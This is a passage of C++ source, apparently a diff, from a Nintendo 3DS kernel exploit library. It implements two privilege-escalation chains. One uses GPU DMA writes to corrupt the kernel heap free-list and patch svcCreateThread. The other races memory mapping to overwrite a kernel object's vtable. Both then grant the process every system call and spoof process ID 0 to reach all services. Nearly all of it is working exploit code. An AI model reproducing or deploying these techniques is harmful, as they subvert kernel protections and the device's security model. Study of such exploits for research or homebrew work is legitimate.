(Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn read failed:%08lx\n", result); + return result; + } + + // Adjust the "next" pointer to point to within the svcCreateThread system call so as to + // corrupt certain instructions. The result will be that calling svcCreateThread will result + // in executing our code. + // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. + // That is, the overwrite adds this offset back in. + m_extraLinear->m_freeBlock.m_next = reinterpret_cast( + m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); + + // Do the GSPwn, the actual exploit we've been waiting for. + if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); + return result; + } + + // The heap is now corrupted in two ways (Step6 explains why two ways). + m_corrupted += 2; + + KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); + + // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third + // page into the second page, and in the process zap an instruction pair in svcCreateThread. + u32 dummy; + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), + 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step5:free to pwn failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 1); + + // We have an additional layer of instability because of the kernel code overwrite. + ++m_corrupted; + + KHAX_printf("Step5:svcCreateThread now hacked\n"); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Execute svcCreateThread to execute code at SVC privilege. +Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() +{ + if (m_nextStep != 6) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Call svcCreateThread such that r0 is the desired exploit function. Note that the + // parameters to the usual system call thunk are rearranged relative to the actual system call + // - the thread priority parameter is actually the one that goes into r0. In addition, we + // want to pass other parameters that make for an illegal thread creation request, because the + // rest of the thread creation SVC occurs before the hacked code gets executed. We want the + // thread creation request to fail, then the hack to grant us control. Processor ID + // 0x7FFFFFFF seems to do the trick here. + Handle dummyHandle; + Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( + Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); + + KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); + + if (result != STEP6_SUCCESS_RESULT) + { + // If the result was 0, something actually went wrong. + if (result == 0) + { + result = MakeError(27, 11, KHAX_MODULE, 1023); + } + + return result; + } + +#ifdef KHAX_DEBUG + char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; + char *sp = oldACLString; + for (unsigned char b : m_oldACL) + { + *sp++ = "0123456789abcdef"[b >> 4]; + *sp++ = "0123456789abcdef"[b & 15]; + } + *sp = '\0'; + + KHAX_printf("oldACL:%s\n", oldACLString); +#endif + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point thunk (true entry point). +KHAX_ATTRIBUTE(__attribute__((__naked__))) +Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() +{ + __asm__ volatile("cpsid aif\n" + "add sp, sp, #8\n"); + + register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); + + __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point. +KHAX_ATTRIBUTE(__attribute__((__noinline__))) +Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() +{ + if (Result result = Step6c_UndoCreateThreadPatch()) + { + return result; + } + if (Result result = Step6d_FixHeapCorruption()) + { + return result; + } + if (Result result = Step6e_GrantSVCAccess()) + { + return result; + } + if (Result result = Step6f_FlushCaches()) + { + return result; + } + + return STEP6_SUCCESS_RESULT; +} + +//------------------------------------------------------------------------------------------------ +// Undo the code patch that Step5_CorruptCreateThread did. +Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() +{ + // Unpatch svcCreateThread. NOTE: Misaligned pointer. + *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> + m_threadPatchOriginalCode; + + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Fix the heap corruption caused as a side effect of step 5. +Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() +{ + // The kernel's heap coalesce code seems to be like the following for the case we triggered, + // where we're freeing a block before ("left") an adjacent block ("right"): + // + // (1) left->m_count += right->m_count; + // (2) left->m_next = right->m_next; + // (3) right->m_next->m_prev = left; + // + // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point + // to where we want to patch, such that the write to m_prev is the desired code overwrite. + // (2) is copying the value we put into right->m_next to accomplish (3). + // + // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to + // point to the correct next free block, and do the write to right->m_next->m_prev that didn't + // happen because it instead was writing to kernel code. + + // "left" is the second overwrite page. + auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[1].m_freeBlock)); + // "right->m_next" is the fifth overwrite page. + auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4].m_freeBlock)); + + // Do the two fixups. + left->m_next = rightNext; + --m_corrupted; + + rightNext->m_prev = left; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant our process access to all system calls, including svcBackdoor. +Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() +{ + // Everything, except nonexistent services 00, 7E or 7F. + static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; + + // Get the KThread pointer. Its type doesn't vary, so far. + KThread *kthread = *m_versionData->m_currentKThreadPtr; + + // Debug dumping. +#ifdef KHAX_DEBUG_DUMP_DATA + // Get the KProcess pointer, whose type varies by kernel version. + void *kprocess = *m_versionData->m_currentKProcessPtr; + + void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); + std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); + std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); + std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); +#endif + + // Get a pointer to the SVC ACL within the SVC area for the thread. + SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); + KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; + + // Save the old one for diagnostic purposes. + std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); + + // Set the ACL for the current thread. + std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Flush instruction and data caches. +Result KHAX::MemChunkHax::Step6f_FlushCaches() +{ + // Invalidates the entire instruction cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c5, 0\n\t"); + + // Invalidates the entire data cache. + __asm__ volatile( + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c10, 0\n\t"); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant access to all services. +Result KHAX::MemChunkHax::Step7_GrantServiceAccess() +{ + if (m_nextStep != 7) + { + KHAX_printf("MemChunkHax: Invalid step number %d Step7_GrantServiceAccess\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Backup the original PID. + Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); + return result; + } + + KHAX_printf("Step7:current pid=%lu\n", m_originalPID); + + // Patch the PID to 0, granting access to all services. + svcBackdoor(Step7a_PatchPID); + + // Check whether PID patching succeeded. + u32 newPID; + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + // Attempt patching back anyway, for stability reasons. + svcBackdoor(Step7b_UnpatchPID); + KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); + return result; + } + + if (newPID != 0) + { + KHAX_printf("Step7:nonzero:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + // Reinit ctrulib's srv connection to gain access to all services. + srvExit(); + srvInit(); + + // Restore the original PID now that srv has been tricked into thinking that we're PID 0. + svcBackdoor(Step7b_UnpatchPID); + + // Check whether PID restoring succeeded. + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); + return result; + } + + if (newPID != m_originalPID) + { + KHAX_printf("Step7:not same:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Patch the PID to 0. +Result KHAX::MemChunkHax::Step7a_PatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers + // to translate the raw KProcess pointer into pointers into key fields, and we access the + // m_processID field from it. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = 0; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the original PID. +Result KHAX::MemChunkHax::Step7b_UnpatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID back to the original value. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = s_instance->m_originalPID; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Helper for dumping memory to SD card. +template +bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const +{ + char formatted[32]; + snprintf(formatted, KHAX_lengthof(formatted), filename, + static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? + "New" : "Old"); + + bool result = true; + + FILE *file = std::fopen(formatted, "wb"); + if (file) + { + result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); + std::fclose(file); + } + else + { + result = false; + } + + return result; +} + +//------------------------------------------------------------------------------------------------ +// Free memory and such. +KHAX::MemChunkHax::~MemChunkHax() +{ + // Dump memory to SD card if that is enabled. +#ifdef KHAX_DEBUG_DUMP_DATA + if (m_nextStep > 6) + { + DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); + } +#endif + + // If we're corrupted, we're dead. + if (m_corrupted > 0) + { + KHAX_printf("~:error while corrupt;freezing\n"); + for (;;) + { + svcSleepThread(s64(60) * 1000000000); + } + } + + // This function has to be careful not to crash trying to shut down after an aborted attempt. + if (m_overwriteMemory) + { + u32 dummy; + + // Each page has a flag indicating that it is still allocated. + for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) + { + // Don't free a page unless it remains allocated. + if (m_overwriteAllocated & (1u << x)) + { + Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, + sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); + KHAX_printf("free %u: %08lx\n", x, res); + } + } + } + + // Free the extra linear memory. + if (m_extraLinear) + { + linearFree(m_extraLinear); + } + + // s_instance better be us + if (s_instance != this) + { + KHAX_printf("~:s_instance is wrong\n"); + } + else + { + s_instance = nullptr; + } +} + +//------------------------------------------------------------------------------------------------ +// +// Class MemChunkHax2 +// + +//------------------------------------------------------------------------------------------------ +KHAX::MemChunkHax2 *volatile KHAX::MemChunkHax2::s_instance = nullptr; + +//------------------------------------------------------------------------------------------------ +// Basic initialization. +Result KHAX::MemChunkHax2::Step1_Initialize() +{ + if (m_nextStep != 1) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Allow executing threads on core 1. + aptOpenSession(); + Result aptResult = APT_SetAppCpuTimeLimit(30); + if(R_FAILED(aptResult)) { + KHAX_printf("Step1:Allow core1 threads fail:%08lx\n", aptResult); + return aptResult; + } + + aptCloseSession(); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Isolate a physical page of memory. +Result KHAX::MemChunkHax2::Step2_IsolatePage() +{ + if (m_nextStep != 2) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step2_IsolatePage\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Isolate a single page between others to ensure using the next pointer. + Result createIsolatedResult = svcControlMemory(&m_isolatedPage, m_mapAddr + m_mapSize, 0, PAGE_SIZE, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE)); + if(R_FAILED(createIsolatedResult)) { + KHAX_printf("Step2:Allocate isolated page fail:%08lx\n", createIsolatedResult); + return createIsolatedResult; + } + + KHAX_printf("Step2:Isolated page:%08lx\n", m_isolatedPage); + + Result createIsolatingResult = svcControlMemory(&m_isolatingPage, m_isolatedPage + PAGE_SIZE, 0, PAGE_SIZE, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE)); + if(R_FAILED(createIsolatingResult)) { + KHAX_printf("Step2:Allocate isolating page fail:%08lx\n", createIsolatingResult); + return createIsolatingResult; + } + + KHAX_printf("Step2:Isolating page:%08lx\n", m_isolatingPage); + + Result freeIsolatedResult = svcControlMemory(&m_isolatedPage, m_isolatedPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE); + if(R_FAILED(freeIsolatedResult)) { + KHAX_printf("Step2:Free isolated page fail:%08lx\n", freeIsolatedResult); + return freeIsolatedResult; + } + + m_isolatedPage = 0; + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Overwrite a kernel object's vtable to gain code execution. +Result KHAX::MemChunkHax2::Step3_OverwriteVtable() +{ + if (m_nextStep != 3) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step3_OverwriteVtable\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Retrieve an address arbiter handle. + Handle arbiter = __sync_get_arbiter(); + + // Create a KSynchronizationObject in order to use part of its data as a fake memory block header. + // Within the KSynchronizationObject, refCount = size, syncedThreads = next, firstThreadNode = prev. + // Prev does not matter, as any verification happens prior to the overwrite. + // However, next must be 0, as it does not use size to check when allocation is finished. + // If next is not 0, it will continue to whatever is pointed to by it. + // Even if this eventually reaches an end, it will continue decrementing the remaining size value. + // This will roll over, and panic when it thinks that there is more memory to allocate than was available. + // FIXME: The location of this object is not entirely ideal. This is because the kernel memory + // FIXME: is cleared from the header location and mapped from the beginning of the page. Thus, + // FIXME: some of the cleared kernel memory cannot be backed up and restored. Instability ensues. + Result createObjResult = svcCreateEventKAddr(&m_kObjHandle, 0, &m_kObjAddr); + if(R_FAILED(createObjResult)) { + KHAX_printf("Step3:Create kernel object fail:%08lx\n", createObjResult); + return createObjResult; + } + + KHAX_printf("Step3:Kernel object addr:%08lx\n", m_kObjAddr); + + // Create a pointer to where the object's vtable will be mapped. + void(***vtablePtr)() = reinterpret_cast(m_mapAddr + PAGE_SIZE + (m_kObjAddr & 0xFFF) - 4); + + // Allocate a buffer for backing up kernel memory. + m_backup = std::malloc(PAGE_SIZE); + if (m_backup == NULL) + { + KHAX_printf("Step3:Allocate m_backup fail\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + + KHAX_printf("Step3:Performing race...\n"); + + // Create thread to slow down svcControlMemory execution. + m_delayThread = threadCreate(Step3a_DelayThread, this, 0x4000, 0x18, 1, true); + if(m_delayThread == NULL) { + KHAX_printf("Step3:Create delay thread fail\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + + // Create thread to allocate pages. + if(threadCreate(Step3b_AllocateThread, this, 0x4000, 0x3F, 1, true) == NULL) { + KHAX_printf("Step3:Create allocate thread fail\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + + // Use svcArbitrateAddress to detect when the first memory page has been mapped. + while(static_cast(svcArbitrateAddress(arbiter, m_mapAddr, ARBITRATION_WAIT_IF_LESS_THAN_TIMEOUT, 0, 0)) == 0xD9001814); + + // Overwrite the header "next" pointer to our crafted MemChunkHdr within our kernel object. + reinterpret_cast(m_mapAddr)->m_next = reinterpret_cast(m_kObjAddr - m_versionData->m_slabHeapVirtualAddress + m_versionData->m_slabHeapPhysicalAddress - m_versionData->m_kernelVirtualToPhysical); + + // Use svcArbitrateAddress to detect when the kernel memory page has been mapped. + while(static_cast(svcArbitrateAddress(arbiter, m_mapAddr + PAGE_SIZE, ARBITRATION_WAIT_IF_LESS_THAN_TIMEOUT, 0, 0)) == 0xD9001814); + + // Backup old vtable pointer. + m_oldVtable = *vtablePtr; + + // Set new vtable pointer. + *vtablePtr = m_vtable; + + // Close handle, executing kernel-mode code. + svcCloseHandle(m_kObjHandle); + m_kObjHandle = 0; + + // Restore the original vtable pointer. + *vtablePtr = m_oldVtable; + m_oldVtable = NULL; + + KHAX_printf("Step3:Kernel result:%08lx\n", m_kernelResult); + + if(m_kernelResult != 0) { + KHAX_printf("Step3:Kernel exec fail\n"); + return m_kernelResult; + } + + // Wait for memory mapping to complete. + while(m_mapResult == -1) { + svcSleepThread(1000000); + } + + if(R_FAILED(m_mapResult)) { + KHAX_printf("Step3:svcControlMemory fail:%08lx\n", m_mapResult); + return m_mapResult; + } + + // Restore the kernel page backup. + svcBackdoor(Step3f_RestoreKernelBackup); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Thread function to slow down svcControlMemory execution. +void KHAX::MemChunkHax2::Step3a_DelayThread(void* arg) { + MemChunkHax2* hax = (MemChunkHax2*) arg; + + // Slow down thread execution until the control operation has completed. + while(hax->m_mapResult == -1) { + svcSleepThread(10000); + } +} + +//------------------------------------------------------------------------------------------------ +// Thread function to allocate memory pages. +void KHAX::MemChunkHax2::Step3b_AllocateThread(void* arg) { + MemChunkHax2* hax = (MemChunkHax2*) arg; + + // Allocate the requested pages. + hax->m_mapResult = svcControlMemory(&hax->m_mapAddr, hax->m_mapAddr, 0, hax->m_mapSize, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE)); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point thunk (true entry point). +void KHAX::MemChunkHax2::Step3c_SVCEntryPointThunk() +{ + // Call intended function. + s_instance->m_oldVtable[KEVENT_DESTRUCTOR](); + + // Back up a page of kernel memory before it is cleared. + // FIXME: This is currently unable to execute on time. By the time this + // FIXME: runs, at least some of kernel memory has usually been cleared. + memcpy(s_instance->m_backup, reinterpret_cast(s_instance->m_kObjAddr), PAGE_SIZE); + + // Call our entrypoint. + s_instance->Step3d_SVCEntryPoint(); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point. +void KHAX::MemChunkHax2::Step3d_SVCEntryPoint() +{ + // Grant access to all SVC calls. + if (Result result = Step3e_GrantSVCAccess()) + { + m_kernelResult = result; + return; + } + + m_kernelResult = 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant our process access to all system calls, including svcBackdoor. +Result KHAX::MemChunkHax2::Step3e_GrantSVCAccess() +{ + // Everything, except nonexistent services 00, 7E or 7F. + static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; + + // Get the KThread pointer. Its type doesn't vary, so far. + KThread *kthread = *m_versionData->m_currentKThreadPtr; + + // Get a pointer to the SVC ACL within the SVC area for the thread. + SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); + KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; + + // Save the old one for diagnostic purposes. + std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); + + // Set the ACL for the current thread. + std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the backup of cleared kernel memory. +Result KHAX::MemChunkHax2::Step3f_RestoreKernelBackup() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Restore the backup of cleared kernel memory. + memcpy(reinterpret_cast(s_instance->m_kObjAddr), s_instance->m_backup, PAGE_SIZE); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant access to all services. +Result KHAX::MemChunkHax2::Step4_GrantServiceAccess() +{ + if (m_nextStep != 4) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step4_GrantServiceAccess\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Backup the original PID. + Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step4:GetPID1 fail:%08lx\n", result); + return result; + } + + KHAX_printf("Step4:current pid=%lu\n", m_originalPID); + + // Patch the PID to 0, granting access to all services. + svcBackdoor(Step4a_PatchPID); + + // Check whether PID patching succeeded. + u32 newPID; + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + // Attempt patching back anyway, for stability reasons. + svcBackdoor(Step4b_UnpatchPID); + KHAX_printf("Step4:GetPID2 fail:%08lx\n", result); + return result; + } + + if (newPID != 0) + { + KHAX_printf("Step4:nonzero:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + // Reinit ctrulib's srv connection to gain access to all services. + srvExit(); + srvInit(); + + // Restore the original PID now that srv has been tricked into thinking that we're PID 0. + svcBackdoor(Step4b_UnpatchPID); + + // Check whether PID restoring succeeded. + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step4:GetPID3 fail:%08lx\n", result); + return result; + } + + if (newPID != m_originalPID) + { + KHAX_printf("Step4:not same:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Patch the PID to 0. +Result KHAX::MemChunkHax2::Step4a_PatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers + // to translate the raw KProcess pointer into pointers into key fields, and we access the + // m_processID field from it. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = 0; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the original PID. +Result KHAX::MemChunkHax2::Step4b_UnpatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID back to the original value. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = s_instance->m_originalPID; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Creates an event object, writing its kernel object address into kaddr from r2. +KHAX_ATTRIBUTE(__attribute__((__naked__))) +Result KHAX::MemChunkHax2::svcCreateEventKAddr(Handle* event, u8 reset_type, u32* kaddr) { + asm volatile( + "str r0, [sp, #-4]!\n" + "str r2, [sp, #-4]!\n" + "svc 0x17\n" + "ldr r3, [sp], #4\n" + "str r2, [r3]\n" + "ldr r3, [sp], #4\n" + "str r1, [r3]\n" + "bx lr" + ); +} + +//------------------------------------------------------------------------------------------------ +// Free memory and such. +KHAX::MemChunkHax2::~MemChunkHax2() +{ + if(m_mapResult == 0) { + svcControlMemory(&m_mapAddr, m_mapAddr, 0, m_mapSize, MEMOP_FREE, MEMPERM_DONTCARE); + } + + if(m_delayThread != NULL && m_mapResult == -1) { + // Set the result to 0 to terminate the delay thread. + m_mapResult = 0; + } + + if(m_backup != NULL) { + std::free(m_backup); + } + + if(m_isolatedPage != 0) { + svcControlMemory(&m_isolatedPage, m_isolatedPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE); + m_isolatedPage = 0; + } + + if(m_isolatingPage != 0) { + svcControlMemory(&m_isolatingPage, m_isolatingPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE); + m_isolatingPage = 0; + } + + if(m_kObjHandle != 0) { + svcCloseHandle(m_kObjHandle); + } + + // s_instance better be us + if (s_instance != this) + { + KHAX_printf("~:s_instance is wrong\n"); + } + else + { + s_instance = nullptr; + } +} + + +//------------------------------------------------------------------------------------------------ +// +// Miscellaneous +// + +//------------------------------------------------------------------------------------------------ +// Make an error code +inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) +{ + return (level << 27) + (summary << 21) + (module << 10) + error; +} + +//------------------------------------------------------------------------------------------------ +// Check whether this system is a New 3DS. +Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) +{ + // If the kernel version isn't already known by the caller, find out. + u32 kernelVersion = kernelVersionAlreadyKnown; + if (kernelVersion == 0) + { + kernelVersion = osGetKernelVersion(); + } + + // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. + if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) + { + // Check whether the system is a New 3DS. If this fails, abort, because being wrong would + // crash the system. + u8 isNew3DS = 0; + if (Result error = APT_CheckNew3DS(&isNew3DS)) + { + *answer = false; + return error; + } + + // Use the result of APT_CheckNew3DS. + *answer = isNew3DS != 0; + return 0; + } + + // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. + *answer = false; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// gspwn, meant for reading from or writing to freed buffers. +Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) +{ + // Attempt a flush of the source, but ignore the result, since we may have just been asked to + // read unmapped memory or something similar. + GSPGPU_FlushDataCache(static_cast(const_cast(src)), size); + + // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore + // errors, since it may be the destination that is an unmapped address. + GSPGPU_InvalidateDataCache(static_cast(dest), size); + + // Copy that floppy. + if (Result result = GX_TextureCopy(static_cast(const_cast(src)), 0, + static_cast(dest), 0, size, 8)) + { + KHAX_printf("gspwn:copy fail:%08lx\n", result); + return result; + } + + // Wait for the operation to finish. + if (wait) + { + gspWaitForPPF(); + } + + // Nuke the data cache. + if (Result result = NukeDataCache()) + { + KHAX_printf("gspwn:NukeDataCache fail %08lx\n", result); + return result; + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Flush the entire CPU data cache by nuking it from orbit. This is a hack, but the system +// call svcInvalidateDataCache is probably not accessible to us. +Result KHAX::NukeDataCache() +{ + // Allocate a 2 MB dummy buffer. + enum : unsigned { DUMMY_ALLOC_SIZE = 2 * 1024 * 1024 }; + + u32 *dummyMemory = new(std::nothrow) u32[DUMMY_ALLOC_SIZE / sizeof(*dummyMemory)]; + if (!dummyMemory) + { + return MakeError(26, 3, KHAX_MODULE, 1011); + } + + // Read from each dword of the buffer in order to force everything else + // out of the data cache. + volatile u32 *volatileMemory = dummyMemory; + for (unsigned x = 0; x < DUMMY_ALLOC_SIZE / sizeof(*dummyMemory); ++x) + static_cast(*volatileMemory++); + + // Free the dummy buffer. + delete[] dummyMemory; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Given a pointer to a structure that is a member of another structure, +// return a pointer to the outer structure. Inspired by Windows macro. +template +Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) +{ + unsigned char *p = reinterpret_cast(member); + p -= reinterpret_cast(&(static_cast(nullptr)->*field)); + return reinterpret_cast(p); +} + +//------------------------------------------------------------------------------------------------ +// Main initialization function interface. +extern "C" Result khaxInit() +{ + using namespace KHAX; + +#ifdef KHAX_DEBUG + bool isNew3DS; + IsNew3DS(&isNew3DS, 0); + KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), + isNew3DS); +#endif + + // Look up the current system's version in our table. + const VersionData *versionData = VersionData::GetForCurrentSystem(); + if (!versionData) + { + KHAX_printf("khaxInit: Unknown kernel version\n"); + return MakeError(27, 6, KHAX_MODULE, 39); + } + + if(versionData->m_kernelVersion <= SYSTEM_VERSION(2, 46, 0)) { + KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, + versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); + + // Create the hack object. + MemChunkHax hax{ versionData }; + + // Run through the steps. + if (Result result = hax.Step1_Initialize()) + { + KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step2_AllocateMemory()) + { + KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step3_SurroundFree()) + { + KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step4_VerifyExpectedLayout()) + { + KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step5_CorruptCreateThread()) + { + KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step6_ExecuteSVCCode()) + { + KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step7_GrantServiceAccess()) + { + KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); + return result; + } + 